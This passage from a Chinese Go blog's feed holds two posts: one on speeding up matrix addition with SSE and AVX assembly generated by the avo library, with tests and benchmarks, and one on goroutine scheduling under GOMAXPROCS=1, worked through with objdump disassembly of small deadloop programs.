<pre><code>func(a, b, c []float32)
</code></pre>
<p>变量a, b, c分别表示输入矩阵a, b和输出矩阵c的内存地址，使用Load函数从参数中加载基地址到GP64返回的通用寄存器。n表示矩阵的长度，使用 Load函数从参数中加载长度到GP64返回的通用寄存器。</p>
<p>X0和X1定义了两个XMM寄存器，用于SIMD操作。</p>
<p>接下来定义了一个循环，在这个循环的循环体中，将通过SSE指令处理输入的矩阵数据：</p>
<ul>
<li>MOVUPS(a.Offset(0), X0)：将矩阵a的前16字节（4 个float32）加载到XMM寄存器X0。</li>
<li>MOVUPS(b.Offset(0), X1)：将矩阵b的前16字节（4个float32）加载到XMM寄存器X1。</li>
<li>ADDPS(X1, X0)：将X1和X0中的数据相加，结果存入X0。</li>
<li>MOVUPS(X0, c.Offset(0))：将结果从X0存入矩阵c的前16字节。</li>
<li>ADDQ(U32(16), a.Base)：将矩阵a的基地址增加16字节（4个float32）。</li>
<li>ADDQ(U32(16), b.Base)：将矩阵b的基地址增加16字节（4个float32）。</li>
<li>ADDQ(U32(16), c.Base)：将矩阵c的基地址增加16字节（4个float32）。</li>
<li>SUBQ(U32(4), n)：将矩阵长度n减少4。</li>
<li>JMP(LabelRef(“loop”))：无条件跳转到标签loop，继续循环。</li>
</ul>
<p>最后调用Generate函数生成汇编代码。</p>
<p>下面我们就来运行该代码，生成相应的汇编代码以及stub函数：</p>
<pre><code>$cd matadd-sse/pkg
$make
go run asm.go -out add.s -stubs stub.go
</code></pre>
<p>下面是生产的add.s的全部汇编代码：</p>
<pre><code>// simd-in-go/matadd-sse/pkg/add.s

// Code generated by command: go run asm.go -out add.s -stubs stub.go. DO NOT EDIT.

#include "textflag.h"

// func MatrixAddSIMD(a []float32, b []float32, c []float32)
// Requires: SSE
TEXT ·MatrixAddSIMD(SB), NOSPLIT, $0-72
    MOVQ a_base+0(FP), AX
    MOVQ b_base+24(FP), CX
    MOVQ c_base+48(FP), DX
    MOVQ a_len+8(FP), BX

loop:
    CMPQ   BX, $0x00000004
    JL     done
    MOVUPS (AX), X0
    MOVUPS (CX), X1
    ADDPS  X1, X0
    MOVUPS X0, (DX)
    ADDQ   $0x00000010, AX
    ADDQ   $0x00000010, CX
    ADDQ   $0x00000010, DX
    SUBQ   $0x00000004, BX
    JMP    loop

done:
    RET
</code></pre>
<p>这里使用的ADDPS、MOVUPS和ADDQ都是SSE指令：</p>
<ul>
<li>ADDPS (Add Packed Single-Precision Floating-Point Values)： 这是一个SSE指令，用于对两个128位的XMM寄存器中的4个单精度浮点数进行并行加法运算。</li>
<li>MOVUPS (Move Unaligned Packed Single-Precision Floating-Point Values): 这也是一个SSE指令，用于在内存和XMM寄存器之间移动128位的单精度浮点数数据。与MOVAPS(Move Aligned Packed Single-Precision Floating-Point Values) 指令不同，MOVUPS不要求地址对齐，可以处理非对齐的数据。</li>
</ul>
<p>除了生成汇编代码外，asm.go还生成了一个stub函数：MatrixAddSIMD，即上面汇编实现的那个函数。</p>
<pre><code>// simd-in-go/matadd-sse/pkg/stub.go

// Code generated by command: go run asm.go -out add.s -stubs stub.go. DO NOT EDIT.

package pkg

func MatrixAddSIMD(a []float32, b []float32, c []float32)
</code></pre>
<p>在matadd-sse/pkg/add-no-simd.go中，我们放置了常规的矩阵加法的实现：</p>
<pre><code>package pkg

func MatrixAddNonSIMD(a, b, c []float32) {
    n := len(a)
    for i := 0; i &lt; n; i++ {
        c[i] = a[i] + b[i]
    }
}
</code></pre>
<p>接下来，我们编写一些单测代码，确保一下MatrixAddSIMD和MatrixAddNonSIMD的功能是正确的：</p>
<pre><code>// simd-in-go/matadd-sse/matrix_add_test.go
package main

import (
    "demo/pkg"
    "testing"
)

func TestMatrixAddNonSIMD(t *testing.T) {
    size := 1024
    a := make([]float32, size)
    b := make([]float32, size)
    c := make([]float32, size)
    expected := make([]float32, size)

    for i := 0; i &lt; size; i++ {
        a[i] = float32(i)
        b[i] = float32(i)
        expected[i] = a[i] + b[i]
    }

    pkg.MatrixAddNonSIMD(a, b, c)

    for i := 0; i &lt; size; i++ {
        if c[i] != expected[i] {
            t.Errorf("MatrixAddNonSIMD: expected %f, got %f at index %d", expected[i], c[i], i)
        }
    }
}

func TestMatrixAddSIMD(t *testing.T) {
    size := 1024
    a := make([]float32, size)
    b := make([]float32, size)
    c := make([]float32, size)
    expected := make([]float32, size)

    for i := 0; i &lt; size; i++ {
        a[i] = float32(i)
        b[i] = float32(i)
        expected[i] = a[i] + b[i]
    }

    pkg.MatrixAddSIMD(a, b, c)

    for i := 0; i &lt; size; i++ {
        if c[i] != expected[i] {
            t.Errorf("MatrixAddSIMD: expected %f, got %f at index %d", expected[i], c[i], i)
        }
    }
}
</code></pre>
<p>如我们预期的那样，上述单测代码可以顺利通过。接下来，我们再来做一下benchmark，看看使用SSE实现的矩阵加法性能到底提升了多少：</p>
<pre><code>// simd-in-go/matadd-sse/benchmark_test.go
package main

import (
    "demo/pkg"
    "testing"
)

func BenchmarkMatrixAddNonSIMD(tb *testing.B) {
    size := 1024
    a := make([]float32, size)
    b := make([]float32, size)
    c := make([]float32, size)

    for i := 0; i &lt; size; i++ {
        a[i] = float32(i)
        b[i] = float32(i)
    }

    tb.ResetTimer()
    for i := 0; i &lt; tb.N; i++ {
        pkg.MatrixAddNonSIMD(a, b, c)
    }
}

func BenchmarkMatrixAddSIMD(tb *testing.B) {
    size := 1024
    a := make([]float32, size)
    b := make([]float32, size)
    c := make([]float32, size)

    for i := 0; i &lt; size; i++ {
        a[i] = float32(i)
        b[i] = float32(i)
    }

    tb.ResetTimer()
    for i := 0; i &lt; tb.N; i++ {
        pkg.MatrixAddSIMD(a, b, c)
    }
}
</code></pre>
<p>运行这个benchmark，我们得到下面结果：</p>
<pre><code>$go test -bench .
goos: darwin
goarch: amd64
pkg: demo
... ...
BenchmarkMatrixAddNonSIMD-8      2129426           554.4 ns/op
BenchmarkMatrixAddSIMD-8         3481318           357.4 ns/op
PASS
ok      demo    3.350s
</code></pre>
<p>我们看到SIMD实现的确性能优秀，几乎在非SIMD实现的基础上提升了一倍。但这似乎还并不足以说明SIMD的优秀。我们再来扩展一下并行处理的数据的数量和宽度，使用AVX指令再来实现一版矩阵加法，看是否还会有进一步的性能提升。</p>
<h2>4. 第二版SIMD优化(基于AVX)</h2>
<p>下面是基于avo使用AVX指令实现的Go代码：</p>
<pre><code>// simd-in-go/matadd-avx/pkg/asm.go

//go:build ignore
// +build ignore

package main

import (
    "github.com/mmcloughlin/avo/attr"
    . "github.com/mmcloughlin/avo/build"
    . "github.com/mmcloughlin/avo/operand"
)

func main() {
    TEXT("MatrixAddSIMD", attr.NOSPLIT, "func(a, b, c []float32)")
    a := Mem{Base: Load(Param("a").Base(), GP64())}
    b := Mem{Base: Load(Param("b").Base(), GP64())}
    c := Mem{Base: Load(Param("c").Base(), GP64())}
    n := Load(Param("a").Len(), GP64())

    Y0 := YMM()
    Y1 := YMM()

    Label("loop")
    CMPQ(n, U32(8))
    JL(LabelRef("done"))

    VMOVUPS(a.Offset(0), Y0)
    VMOVUPS(b.Offset(0), Y1)
    VADDPS(Y1, Y0, Y0)
    VMOVUPS(Y0, c.Offset(0))

    ADDQ(U32(32), a.Base)
    ADDQ(U32(32), b.Base)
    ADDQ(U32(32), c.Base)
    SUBQ(U32(8), n)
    JMP(LabelRef("loop"))

    Label("done")
    RET()

    Generate()
}
</code></pre>
<p>这里的代码与上面sse实现的代码逻辑类似，只是指令换成了avx的指令，包括VMOVUPS、VADDPS等：</p>
<ul>
<li>VADDPS (Vectorized Add Packed Single-Precision Floating-Point Values): 是AVX (Advanced Vector Extensions) 指令集中的一个指令，用于对两个256位的YMM寄存器中的8个单精度浮点数进行并行加法运算。</li>
<li>VMOVUPS (Vectorized Move Unaligned Packed Single-Precision Floating-Point Values): 这也是一个AVX指令，用于在内存和YMM寄存器之间移动256位的单精度浮点数数据。与MOVUPS指令相比，VMOVUPS可以处理更宽的256位SIMD数据。</li>
</ul>
<p>由于在SSE实现的版本中做了详细说明，这里就不再赘述代码逻辑，其他单元测试与benchmark测试的代码也都完全相同，我们直接看benchmark的结果：</p>
<pre><code>$go test -bench .
goos: darwin
goarch: amd64
pkg: demo
... ...
BenchmarkMatrixAddNonSIMD-8      2115284           566.6 ns/op
BenchmarkMatrixAddSIMD-8        10703102           111.5 ns/op
PASS
ok      demo    3.088s
</code></pre>
<p>我们看到AVX版的矩阵加法的性能是常规实现的5倍多，是SSE实现的性能的近3倍，在实际生产中，这将大大提升代码的执行效率。</p>
<p>也许还有更优化的实现，但我们已经达到了基于SIMD加速矩阵加法的目的，这里就不再做继续优化了，大家如果有什么新的想法和验证的结果，可以在评论区留言告诉我哦！</p>
<h2>5. 小结</h2>
<p>在这篇文章中，我们探讨了在Go语言中使用SIMD指令进行计算加速的方法。尽管Go官方目前还没有直接支持SIMD的包，但我们通过使用avo库生成汇编代码的方式，成功实现了基于SSE和AVX指令集的矩阵加法优化。</p>
<p>我们首先介绍了SIMD指令的基本概念和优势，然后讨论了在Go中使用SIMD指令的几种可能方法。接着，我们通过一个具体的矩阵加法示例，展示了如何使用avo库生成基于SSE和AVX指令集的汇编代码。</p>
<p>通过benchmark测试，我们看到基于SSE指令的实现相比常规实现提升了约1.5倍的性能，而基于AVX指令的实现则带来了约5倍的性能提升。这充分说明了SIMD指令在并行计算密集型任务中的强大优势。</p>
<p>虽然直接使用SIMD指令需要一定的汇编知识，增加了代码的复杂性，但在一些对性能要求极高的场景下，这种优化方法仍然是非常有价值的。我希望这篇文章能为Go开发者在进行性能优化时提供一些新的思路和参考。</p>
<p>当然，这里展示的只是SIMD优化的一个简单示例。在实际应用中，可能还需要考虑更多因素，如数据对齐、边界条件处理等。大家可以在此基础上进行更深入的探索和实践。</p>
<p>本文涉及的源码可以在<a href="https://github.com/bigwhite/experiments/blob/master/simd-in-go">这里</a>下载 &#8211; https://github.com/bigwhite/experiments/blob/master/simd-in-go</p>
<p>本文部分源代码由<a href="https://chat.deepseek.com/coder">deepseek coder v2</a>实现。</p>
<h2>6. 参考资料</h2>
<ul>
<li><a href="https://www.intel.com/content/www/us/en/docs/intrinsics-guide/index.html">Intel Intrinsics Guide</a> &#8211; https://www.intel.com/content/www/us/en/docs/intrinsics-guide/index.html</li>
<li><a href="https://go.dev/wiki/AVX512">Go Wiki: AVX512</a> &#8211; https://go.dev/wiki/AVX512</li>
<li><a href="http://doc.cat-v.org/plan_9/4th_edition/papers/asm">A Manual for the Plan 9 assembler</a> &#8211; http://doc.cat-v.org/plan_9/4th_edition/papers/asm</li>
<li><a href="https://sourcegraph.com/blog/slow-to-simd">From slow to SIMD: A Go optimization story</a> &#8211; https://sourcegraph.com/blog/slow-to-simd</li>
<li><a href="https://github.com/google/highway">Efficient and performance-portable vector software</a>  &#8211; https://github.com/google/highway</li>
<li><a href="https://www.slidestalk.com/u231/simd_computer">并行处理-SIMD</a> &#8211; https://www.slidestalk.com/u231/simd_computer</li>
<li><a href="https://zhuanlan.zhihu.com/p/591900754">玩转SIMD指令编程</a> &#8211; https://zhuanlan.zhihu.com/p/591900754</li>
</ul>
<hr />
<p><a href="https://public.zsxq.com/groups/51284458844544">Gopher部落知识星球</a>在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！</p>
<p><img src="http://image.tonybai.com/img/tonybai/gopher-tribe-zsxq-small-card.png" alt="img{512x368}" /><br />
<img src="http://image.tonybai.com/img/tonybai/go-programming-from-beginner-to-master-qr.png" alt="img{512x368}" /></p>
<p><img src="http://image.tonybai.com/img/tonybai/go-first-course-banner.png" alt="img{512x368}" /><br />
<img src="http://image.tonybai.com/img/tonybai/imooc-go-column-pgo-with-qr.jpg" alt="img{512x368}" /></p>
<p>著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个<a href="https://m.do.co/c/bff6eed92687">链接地址</a>：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。</p>
<p>Gopher Daily(Gopher每日新闻) &#8211; https://gopherdaily.tonybai.com</p>
<p>我的联系方式：</p>
<ul>
<li>微博(暂不可用)：https://weibo.com/bigwhite20xx</li>
<li>微博2：https://weibo.com/u/6484441286</li>
<li>博客：tonybai.com</li>
<li>github: https://github.com/bigwhite</li>
<li>Gopher Daily归档 &#8211; https://github.com/bigwhite/gopherdaily</li>
</ul>
<p><img src="http://image.tonybai.com/img/tonybai/iamtonybai-wechat-qr.png" alt="" /></p>
<p>商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。</p>
<p style='text-align:left'>&copy; 2024, <a href='https://tonybai.com'>bigwhite</a>. 版权所有. </p>
]]></content:encoded>
			<wfw:commentRss>https://tonybai.com/2024/07/21/simd-in-go/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Goroutine调度实例简要分析</title>
		<link>https://tonybai.com/2017/11/23/the-simple-analysis-of-goroutine-schedule-examples/</link>
		<comments>https://tonybai.com/2017/11/23/the-simple-analysis-of-goroutine-schedule-examples/#comments</comments>
		<pubDate>Thu, 23 Nov 2017 00:54:12 +0000</pubDate>
		<dc:creator>bigwhite</dc:creator>
				<category><![CDATA[技术志]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Compiler]]></category>
		<category><![CDATA[GC]]></category>
		<category><![CDATA[GDB]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[Go]]></category>
		<category><![CDATA[Golang]]></category>
		<category><![CDATA[GOMAXPROCS]]></category>
		<category><![CDATA[goroutine]]></category>
		<category><![CDATA[Inline]]></category>
		<category><![CDATA[objdump]]></category>
		<category><![CDATA[plan9]]></category>
		<category><![CDATA[runtime]]></category>
		<category><![CDATA[schedule]]></category>
		<category><![CDATA[syscall]]></category>
		<category><![CDATA[优化]]></category>
		<category><![CDATA[内联]]></category>
		<category><![CDATA[分支预测]]></category>
		<category><![CDATA[汇编]]></category>
		<category><![CDATA[线程]]></category>
		<category><![CDATA[调度]]></category>

		<guid isPermaLink="false">http://tonybai.com/?p=2465</guid>
		<description><![CDATA[前两天一位网友在微博私信我这样一个问题： 抱歉打扰您咨询您一个关于Go的问题：对于goroutine的概念我是明了的，但很疑惑goroutine的调度问题, 根据《Go语言编程》一书：“当一个任务正在执行时，外部没有办法终止它。要进行任务切换，只能通过由该任务自身调用yield()来主动出让CPU使用权。” 那么，假设我的goroutine是一个死循环的话，是否其它goroutine就没有执行的机会呢？我测试的结果是这些goroutine会轮流执行。那么除了syscall时会主动出让cpu时间外，我的死循环goroutine 之间是怎么做到切换的呢？ 我在第一时间做了回复。不过由于并不了解具体的细节，我在答复中做了一个假定，即假定这位网友的死循环带中没有调用任何可以交出执行权的代码。事后，这位网友在他的回复后道出了死循环goroutine切换的真实原因：他在死循环中调用了fmt.Println。 事后总觉得应该针对这个问题写点什么? 于是就构思了这样一篇文章，旨在循着这位网友的思路通过一些例子来step by step演示如何分析go schedule。如果您对Goroutine的调度完全不了解，那么请先读一读这篇前导文 《也谈goroutine调度器》。 一、为何在deadloop的参与下，多个goroutine依旧会轮流执行 我们先来看case1，我们顺着那位网友的思路来构造第一个例子，并回答：“为何在deadloop的参与下，多个goroutine依旧会轮流执行？”这个问题。下面是case1的源码： //github.com/bigwhite/experiments/go-sched-examples/case1.go package main import ( "fmt" "time" ) func deadloop() { for { } } func main() { go deadloop() for { time.Sleep(time.Second * 1) fmt.Println("I got scheduled!") } } 在case1.go中，我们启动了两个goroutine，一个是main goroutine，一个是deadloop goroutine。deadloop goroutine顾名思义，其逻辑是一个死循环；而main goroutine为了展示方便，也用了一个“死循环”，并每隔一秒钟打印一条信息。在我的macbook air上运行这个例子（我的机器是两核四线程的，runtime的NumCPU函数返回4）： $go run case1.go I got [...]]]></description>
			<content:encoded><![CDATA[<p>前两天一位网友在<a href="https://weibo.com/bigwhite20xx">微博</a>私信我这样一个问题：</p>
<blockquote>
<p>抱歉打扰您咨询您一个关于<a href="http://tonybai.com/tag/go">Go</a>的问题：对于goroutine的概念我是明了的，但很疑惑goroutine的调度问题, 根据《<a href="https://book.douban.com/subject/11577300/">Go语言编程</a>》一书：“当一个任务正在执行时，外部没有办法终止它。要进行任务切换，只能通过由该任务自身调用yield()来主动出让CPU使用权。” 那么，假设我的goroutine是一个死循环的话，是否其它goroutine就没有执行的机会呢？我测试的结果是这些goroutine会轮流执行。那么除了<a href="https://golang.org/pkg/syscall/">syscall</a>时会主动出让cpu时间外，我的死循环goroutine 之间是怎么做到切换的呢？</p>
</blockquote>
<p>我在第一时间做了回复。不过由于并不了解具体的细节，我在答复中做了一个假定，<strong>即假定这位网友的死循环带中没有调用任何可以交出执行权的代码</strong>。事后，这位网友在他的回复后道出了死循环goroutine切换的真实原因：<strong>他在死循环中调用了fmt.Println</strong>。</p>
<p>事后总觉得应该针对这个问题写点什么? 于是就构思了这样一篇文章，旨在循着这位网友的思路通过一些例子来step by step演示如何分析go schedule。如果您对Goroutine的调度完全不了解，那么请先读一读这篇前导文 <a href="http://tonybai.com/2017/06/23/an-intro-about-goroutine-scheduler/">《也谈goroutine调度器》</a>。</p>
<h2>一、为何在deadloop的参与下，多个goroutine依旧会轮流执行</h2>
<p>我们先来看case1，我们顺着那位网友的思路来构造第一个例子，并回答：“为何在deadloop的参与下，多个goroutine依旧会轮流执行？”这个问题。下面是case1的源码：</p>
<pre><code>//github.com/bigwhite/experiments/go-sched-examples/case1.go
package main

import (
    "fmt"
    "time"
)

func deadloop() {
    for {
    }
}

func main() {
    go deadloop()
    for {
        time.Sleep(time.Second * 1)
        fmt.Println("I got scheduled!")
    }
}
</code></pre>
<p>在case1.go中，我们启动了两个goroutine，一个是main goroutine，一个是deadloop goroutine。deadloop goroutine顾名思义，其逻辑是一个死循环；而main goroutine为了展示方便，也用了一个“死循环”，并每隔一秒钟打印一条信息。在我的macbook air上运行这个例子（我的机器是两核四线程的，runtime的NumCPU函数返回4）：</p>
<pre><code>$go run case1.go
I got scheduled!
I got scheduled!
I got scheduled!
... ...
</code></pre>
<p>从运行结果输出的日志来看，尽管有deadloop goroutine的存在，main goroutine仍然得到了调度。其根本原因在于机器是多核多线程的（硬件线程哦，不是操作系统线程）。Go从<a href="http://tonybai.com/2015/07/10/some-changes-in-go-1-5/">1.5版本</a>之后将默认的P的数量改为 = CPU core的数量（实际上还乘以了每个core上硬线程数量），这样case1在启动时创建了不止一个P，我们用一幅图来解释一下：</p>
<p><img src="http://tonybai.com/wp-content/uploads/goroutine-sched-case1.png" alt="img{512x368}" /></p>
<p>我们假设deadloop Goroutine被调度与P1上，P1在M1(对应一个os kernel thread)上运行；而main goroutine被调度到P2上，P2在M2上运行，M2对应另外一个os kernel thread，而os kernel threads在操作系统调度层面被调度到物理的CPU core上运行，而我们有多个core，即便deadloop占满一个core，我们还可以在另外一个cpu core上运行P2上的main goroutine，这也是main goroutine得到调度的原因。</p>
<p><strong>Tips</strong>: 在mac os上查看你的硬件cpu core数量和硬件线程总数量：</p>
<pre><code>$sysctl -n machdep.cpu.core_count
2
$sysctl -n machdep.cpu.thread_count
4
</code></pre>
<h2>二、如何让deadloop goroutine以外的goroutine无法得到调度？</h2>
<p>如果我们非要deadloop goroutine以外的goroutine无法得到调度，我们该如何做呢？一种思路：让Go runtime不要启动那么多P，让所有用户级的goroutines在一个P上被调度。</p>
<p>三种办法：</p>
<ul>
<li>在main函数的最开头处调用runtime.GOMAXPROCS(1)；</li>
<li>设置环境变量export GOMAXPROCS=1后再运行程序</li>
<li>找一个单核单线程的机器^0^（现在这样的机器太难找了，只能使用云服务器实现）</li>
</ul>
<p>我们以第一种方法为例：</p>
<pre><code>//github.com/bigwhite/experiments/go-sched-examples/case2.go
package main

import (
    "fmt"
    "runtime"
    "time"
)

func deadloop() {
    for {
    }
}

func main() {
    runtime.GOMAXPROCS(1)
    go deadloop()
    for {
        time.Sleep(time.Second * 1)
        fmt.Println("I got scheduled!")
    }
}
</code></pre>
<p>运行这个程序后，你会发现main goroutine的”I got scheduled”字样再也无法输出了。这里的调度原理可以用下面图示说明：</p>
<p><img src="http://tonybai.com/wp-content/uploads/goroutine-sched-case2.png" alt="img{512x368}" /></p>
<p>deadloop goroutine在P1上被调度，由于deadloop内部逻辑没有给调度器任何抢占的机会，比如：进入runtime.morestack_noctxt。于是即便是sysmon这样的监控goroutine，也仅仅是能给deadloop goroutine的抢占标志位设为true而已。由于deadloop内部没有任何进入调度器代码的机会，Goroutine重新调度始终无法发生。main goroutine只能躺在P1的local queue中徘徊着。</p>
<h2>三、反转：如何在GOMAXPROCS=1的情况下，让main goroutine得到调度呢？</h2>
<p>我们做个反转：如何在GOMAXPROCS=1的情况下，让main goroutine得到调度呢？听说在Go中 “有函数调用，就有了进入调度器代码的机会”，我们来试验一下是否属实。我们在deadloop goroutine的for-loop逻辑中加上一个函数调用：</p>
<pre><code>// github.com/bigwhite/experiments/go-sched-examples/case3.go
package main

import (
    "fmt"
    "runtime"
    "time"
)

func add(a, b int) int {
    return a + b
}

func deadloop() {
    for {
        add(3, 5)
    }
}

func main() {
    runtime.GOMAXPROCS(1)
    go deadloop()
    for {
        time.Sleep(time.Second * 1)
        fmt.Println("I got scheduled!")
    }
}
</code></pre>
<p>我们在deadloop goroutine的for loop中加入了一个add函数调用。我们来运行一下这个程序，看是否能达成我们的目的：</p>
<pre><code>$ go run case3.go

</code></pre>
<p>“I got scheduled!”字样依旧没有出现在我们眼前！也就是说main goroutine没有得到调度！为什么呢？其实所谓的“有函数调用，就有了进入调度器代码的机会”，实际上是go compiler在函数的入口处插入了一个runtime的函数调用：runtime.morestack_noctxt。这个函数会检查是否扩容连续栈，并进入抢占调度的逻辑中。一旦所在goroutine被置为可被抢占的，那么抢占调度代码就会剥夺该Goroutine的执行权，将其让给其他goroutine。但是上面代码为什么没有实现这一点呢？我们需要在<a href="http://tonybai.com/tag/Assembly">汇编</a>层次看看go compiler生成的代码是什么样子的。</p>
<p>查看Go程序的汇编代码有许多种方法：</p>
<ul>
<li>使用objdump工具：objdump -S go-binary</li>
<li>使用gdb disassemble</li>
<li>构建go程序同时生成汇编代码文件：go build -gcflags &#8216;-S&#8217;  xx.go > xx.s 2>&amp;1</li>
<li>将Go代码编译成汇编代码：go tool compile -S xx.go > xx.s</li>
<li>使用go tool工具反编译Go程序：go tool objdump -S go-binary > xx.s</li>
</ul>
<p>我们这里使用最后一种方法：利用go tool objdump反编译(并结合其他输出的汇编形式)：</p>
<pre><code>$go build -o case3 case3.go
$go tool objdump -S case3 &gt; case3.s
</code></pre>
<p>打开case3.s，搜索main.add，我们居然找不到这个函数的汇编代码，而main.deadloop的定义如下：</p>
<pre><code>TEXT main.deadloop(SB) github.com/bigwhite/experiments/go-sched-examples/case3.go
        for {
  0x1093a10             ebfe                    JMP main.deadloop(SB)

  0x1093a12             cc                      INT $0x3
  0x1093a13             cc                      INT $0x3
  0x1093a14             cc                      INT $0x3
  0x1093a15             cc                      INT $0x3
   ... ...
  0x1093a1f             cc                      INT $0x3
</code></pre>
<p>我们看到deadloop中对add的调用也消失了。这显然是go compiler执行生成代码优化的结果，因为add的调用对deadloop的行为结果没有任何影响。我们关闭优化再来试试：</p>
<pre><code>$go build -gcflags '-N -l' -o case3-unoptimized case3.go
$go tool objdump -S case3-unoptimized &gt; case3-unoptimized.s
</code></pre>
<p>打开 case3-unoptimized.s查找main.add，这回我们找到了它：</p>
<pre><code>TEXT main.add(SB) github.com/bigwhite/experiments/go-sched-examples/case3.go
func add(a, b int) int {
  0x1093a10             48c744241800000000      MOVQ $0x0, 0x18(SP)
        return a + b
  0x1093a19             488b442408              MOVQ 0x8(SP), AX
  0x1093a1e             4803442410              ADDQ 0x10(SP), AX
  0x1093a23             4889442418              MOVQ AX, 0x18(SP)
  0x1093a28             c3                      RET

  0x1093a29             cc                      INT $0x3
... ...
  0x1093a2f             cc                      INT $0x3

</code></pre>
<p>deadloop中也有了对add的显式调用：</p>
<pre><code>TEXT main.deadloop(SB) github.com/bigwhite/experiments/go-sched-examples/case3.go
  ... ...
  0x1093a51             48c7042403000000        MOVQ $0x3, 0(SP)
  0x1093a59             48c744240805000000      MOVQ $0x5, 0x8(SP)
  0x1093a62             e8a9ffffff              CALL main.add(SB)
        for {
  0x1093a67             eb00                    JMP 0x1093a69
  0x1093a69             ebe4                    JMP 0x1093a4f
... ...
</code></pre>
<p>不过我们这个程序中的main goroutine依旧得不到调度，因为在main.add代码中，我们没有发现morestack函数的踪迹，也就是说即便调用了add函数，deadloop也没有机会进入到runtime的调度逻辑中去。</p>
<p>不过，为什么Go compiler没有在main.add函数中插入morestack的调用呢？那是因为add函数位于调用树的leaf(叶子）位置，compiler可以确保其不再有新栈帧生成，不会导致栈分裂或超出现有栈边界，于是就不再插入morestack。而位于morestack中的调度器的抢占式检查也就无法得以执行。下面是go build -gcflags &#8216;-S&#8217;方式输出的case3.go的汇编输出：</p>
<pre><code>"".add STEXT nosplit size=19 args=0x18 locals=0x0
     TEXT    "".add(SB), NOSPLIT, $0-24
     FUNCDATA        $0, gclocals·54241e171da8af6ae173d69da0236748(SB)
     FUNCDATA        $1, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
     MOVQ    "".b+16(SP), AX
     MOVQ    "".a+8(SP), CX
     ADDQ    CX, AX
     MOVQ    AX, "".~r2+24(SP)
    RET
</code></pre>
<p>我们看到nosplit字样，这就说明add使用的栈是固定大小，不会再split，且size为24字节。</p>
<p>关于在for loop中的leaf function是否应该插入morestack目前还有<a href="https://github.com/golang/go/issues/10958">一定争议</a>，将来也许会对这样的情况做特殊处理。</p>
<p>既然明白了原理，我们就在deadloop和add之间加入一个dummy函数，见下面case4.go代码：</p>
<pre><code>//github.com/bigwhite/experiments/go-sched-examples/case4.go
package main

import (
    "fmt"
    "runtime"
    "time"
)

//go:noinline
func add(a, b int) int {
    return a + b
}

func dummy() {
    add(3, 5)
}

func deadloop() {
    for {
        dummy()
    }
}

func main() {
    runtime.GOMAXPROCS(1)
    go deadloop()
    for {
        time.Sleep(time.Second * 1)
        fmt.Println("I got scheduled!")
    }
}
</code></pre>
<p>执行该代码：</p>
<pre><code>$go run case4.go
I got scheduled!
I got scheduled!
I got scheduled!
</code></pre>
<p>Wow! main goroutine果然得到了调度。我们再来看看go compiler为程序生成的汇编代码：</p>
<pre><code>$go build -gcflags '-N -l' -o case4 case4.go
$go tool objdump -S case4 &gt; case4.s

TEXT main.add(SB) github.com/bigwhite/experiments/go-sched-examples/case4.go
func add(a, b int) int {
  0x1093a10             48c744241800000000      MOVQ $0x0, 0x18(SP)
        return a + b
  0x1093a19             488b442408              MOVQ 0x8(SP), AX
  0x1093a1e             4803442410              ADDQ 0x10(SP), AX
  0x1093a23             4889442418              MOVQ AX, 0x18(SP)
  0x1093a28             c3                      RET

  0x1093a29             cc                      INT $0x3
  0x1093a2a             cc                      INT $0x3
... ...

TEXT main.dummy(SB) github.com/bigwhite/experiments/go-sched-examples/case4.s
func dummy() {
  0x1093a30             65488b0c25a0080000      MOVQ GS:0x8a0, CX
  0x1093a39             483b6110                CMPQ 0x10(CX), SP
  0x1093a3d             762e                    JBE 0x1093a6d
  0x1093a3f             4883ec20                SUBQ $0x20, SP
  0x1093a43             48896c2418              MOVQ BP, 0x18(SP)
  0x1093a48             488d6c2418              LEAQ 0x18(SP), BP
        add(3, 5)
  0x1093a4d             48c7042403000000        MOVQ $0x3, 0(SP)
  0x1093a55             48c744240805000000      MOVQ $0x5, 0x8(SP)
  0x1093a5e             e8adffffff              CALL main.add(SB)
}
  0x1093a63             488b6c2418              MOVQ 0x18(SP), BP
  0x1093a68             4883c420                ADDQ $0x20, SP
  0x1093a6c             c3                      RET

  0x1093a6d             e86eacfbff              CALL runtime.morestack_noctxt(SB)
  0x1093a72             ebbc                    JMP main.dummy(SB)

  0x1093a74             cc                      INT $0x3
  0x1093a75             cc                      INT $0x3
  0x1093a76             cc                      INT $0x3
.... ....
</code></pre>
<p>我们看到main.add函数依旧是leaf，没有morestack插入；但在新增的dummy函数中我们看到了CALL runtime.morestack_noctxt(SB)的身影。</p>
<h2>四、为何runtime.morestack_noctxt(SB)放到了RET后面？</h2>
<p>在传统印象中，morestack是放在函数入口处的。但实际编译出来的汇编代码中(见上面函数dummy的汇编)，runtime.morestack_noctxt(SB)却放在了RET的后面。解释这个问题，我们最好来看一下另外一种形式的汇编输出(go build -gcflags &#8216;-S&#8217;方式输出的格式)：</p>
<pre><code>"".dummy STEXT size=68 args=0x0 locals=0x20
        0x0000 00000 TEXT    "".dummy(SB), $32-0
        0x0000 00000 MOVQ    (TLS), CX
        0x0009 00009 CMPQ    SP, 16(CX)
        0x000d 00013 JLS     61
        0x000f 00015 SUBQ    $32, SP
        0x0013 00019 MOVQ    BP, 24(SP)
        0x0018 00024 LEAQ    24(SP), BP
        ... ...
        0x001d 00029 MOVQ    $3, (SP)
        0x0025 00037 MOVQ    $5, 8(SP)
        0x002e 00046 PCDATA  $0, $0
        0x002e 00046 CALL    "".add(SB)
        0x0033 00051 MOVQ    24(SP), BP
        0x0038 00056 ADDQ    $32, SP
        0x003c 00060 RET
        0x003d 00061 NOP
        0x003d 00061 PCDATA  $0, $-1
        0x003d 00061 CALL    runtime.morestack_noctxt(SB)
        0x0042 00066 JMP     0
